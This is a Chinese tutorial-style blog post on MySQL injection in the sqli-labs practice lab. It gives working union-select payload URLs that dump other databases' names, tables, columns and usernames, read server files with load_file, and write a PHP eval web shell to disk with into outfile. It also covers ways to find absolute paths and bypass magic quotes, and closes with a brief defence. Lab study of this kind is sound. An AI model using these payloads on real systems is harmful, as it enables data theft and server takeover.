MySQL注入-sqli-labs-读取其他数据库信息以及文件读写

 前置知识1

MySQL5.0版本以后出现了information_schema,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。information_schema.columns和information_schema.tables类似

前置知识2

获得其他数据库名的前提是user()函数查询出来用户为root且为真实root权限

前置知识3

load_file():读取文件函数,读取文件的前提是知道网站的绝对路径,绝对路径获取常见方法下面有介绍

into outfile或者into dumpfile:导出函数

前置知识4

magic_quotes_gpc:魔术方法,MySQL4.0之后默认开启,开启之后会转义单引号、双引号等,所以在用到引号的地方都需要使用反斜杠防止转义,或者进行十六进制编码、宽字节等绕过

路径获取常见方法:

报错显示:inurl:edu.cn warning

遗留文件:phpinfo.php,漏扫工具一扫就出来了

漏洞报错:根据CMS漏洞搜索爆出路径的方法

平台配置文件:通过读取权限获取配置文件,不实用

爆破:配合工具爆破(没有办法的办法)

案例操作1 读取其它数据库信息

利用information_schema.schemata表爆出其他的数据库名称

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

 利用information_schema.tables表爆出其中某个数据库的所有表名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27pikachu%27

 接着爆出列名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27pikachu%27%20and%20table_name=%27member%27

爆某个列的字段

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(username),3%20from%20pikachu.member

案例操作2 文件写入与读取操作

文件读取--load_file()

注意:

1.如果页面没有返回值而且确定代码无误,那么在mysql安装目录中的my.ini文件中的[mysqld]项下添加 secure_file_priv = ''即可

2.读取路径要用斜杠,如果是反斜杠需要用两个防止转义

3.引号被过滤时,将路径转换为十六进制数据

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,load_file(%27D:/test.txt%27),3--+

 文件写入(写入木马文件)--into outfile

注意:

1.如果只能写入一些字符串而不能写入php代码,可能是因为魔术引号,需要绕过

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,%27%3C?php%20@eval($_POST[\%27hack\%27])?%3E%27,3%20into%20outfile%20%27d:/1.php%27--+

防御方法

   比较极端,在将参数带入到查询语句中执行之前使用is_int方法判断传递的参数是否为数字,不是数字就报错(十六进制也有字母,也算是字符串),这样MySQL联合查询注入就不会发生了。实战情况下这样的过滤不常见,一般都会写一个全局配置文件,专门用来过滤

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值